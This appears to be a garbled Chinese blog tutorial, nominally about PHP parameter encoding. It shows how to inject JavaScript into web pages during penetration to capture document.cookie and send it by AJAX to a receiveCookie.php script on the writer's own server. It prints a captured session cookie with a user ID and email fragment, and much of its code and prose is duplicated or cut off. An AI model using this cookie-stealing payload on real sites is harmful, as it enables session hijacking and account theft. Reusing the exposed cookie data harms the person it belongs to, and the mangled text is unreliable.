在滲透的過程中,可以在網頁中插入JS在滲透的過程中,可以在網頁中插入JS程式碼來取得cookie:
我們自己的伺服器呢? 在這裡,我使用的是AJAX
技術。但是Ajax有一個跨域的問題,所以需要再http頭部再進行設定。這裡主要講cookie的提交。我 cookie,true);這裡將從網頁獲取到的
cookie提交到receiveCookie.php上,其中一個
receiveCookie.php =1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829;SGUID=1450275146558_35957829; =1450275148;SUP=cv%3D1%26bt%3D1450275168%26et%3D1450361568%26d %3D40c3%26i%3D2611%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D1%26uid%3D2277147785%26lt%3D1%26uid%3D2277147785%26lt%3D1%26uid%3D2277147785%261%3D1%26uid%3D2277147785%261477023714778536714778536970300001477700014777207147785%260%5030014772000147720001477200147772250017% 6name%3D493354115 %2540qq.com%26nick%3D%25E7%25BB%25BF%25E8%258C%25B66888%26sex%3D1%26ps%3D0%26email%3D%26dob%3D%26ln%3493D0%26email%3D%26dob%3D%26ln%34193636D%. %3D%26lcp%3D;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35CH47We9hTzl.1; ALF=1481811169;那麼提交的過程中遇到特殊字元
"%","&"等,就會自動解析,導致傳參數錯誤。 解決的方法是:var cookie = document.cookie;cookie = escape(encodeURIComponent(cookie));cookie = escape(encodeURIComponent(cookie));
cookie = escape(encodeURIComponent(cookie)); .17.63/HelloPhp/receiveCookie.php?cookie="+cookie,true);
在receiveCookie.php ];
$cookie = (urldecode($cookie));
以上就介紹了Php提交包含特殊字元的參數的方法,包括了方面的內容,希望對PHP教程有興趣的朋友有所幫助。